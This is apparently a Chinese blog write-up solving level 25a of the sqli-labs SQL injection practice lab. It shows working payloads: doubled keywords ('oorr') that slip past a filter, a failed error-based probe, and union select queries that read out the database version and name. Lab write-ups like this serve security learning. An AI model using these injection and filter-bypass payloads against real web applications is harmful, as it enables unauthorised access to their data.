sqllab第二十五A关通关笔记

知识点:

  • 数值型注入
  • 双写绕过
    • oorr
    • anand
  • 这里不能用错误注入(固定错误回显信息)
  • 联合注入

测试发现跟25关好像一样,就是过滤了and or # 等东西

构造payload:id=1/0

发现成功运算了,这是一个数值型的注入

构造payload:id=1/0+oorr+1=1--+

成功显示了内容,可以尝试错误注入

构造payload:id=1/0+oorr+exp(710)=1--+

发现没有任何的回显信息,说明这里不能用错误注入

老方法,使用联合注入

构造payload:id=1/0+union+select+1,2,3+--+

成功回显了输入的内容

下面开始进行数据库名和版本的获取

构造payload:id=1/0+union+select+1,version(),database()+--+

成功获取了版本信息和数据库名

同理,可以获取数据库其他内容,这里不演示了,收工

10

相关推荐
土星碎冰机36 分钟前
ai自学笔记 (2.prompt 踩坑与优化)
笔记·ai·prompt·claude
pluviophile_s1 小时前
数据结构:第1讲:算法分析
数据结构·笔记
05候补工程师1 小时前
【硬核干货】用“算法”思维袭英语新题型:集合逆清晰除与降维打击解题法
经验分享·笔记·考研·算法·学习方法
许长安1 小时前
Redis 跳表实现详解
数据库·c++·经验分享·redis·笔记·缓存
June bug2 小时前
【雅思学习笔记】Part2话题词汇及表达
笔记·学习
Hehuyi_In2 小时前
postgres-howto 学习笔记
笔记·学习·postgresql·脚本·how to
蜗牛^^O^2 小时前
Agent学习笔记
笔记·学习
问心无愧05133 小时前
ctf show web入门90
前端·笔记
NULL指向我3 小时前
STM32 F103C8T6学习笔记20:SPI驱动W25Qxx
笔记·stm32·学习
脆皮炸鸡7554 小时前
进程通信----命名管道
linux·经验分享·笔记·算法·学习方法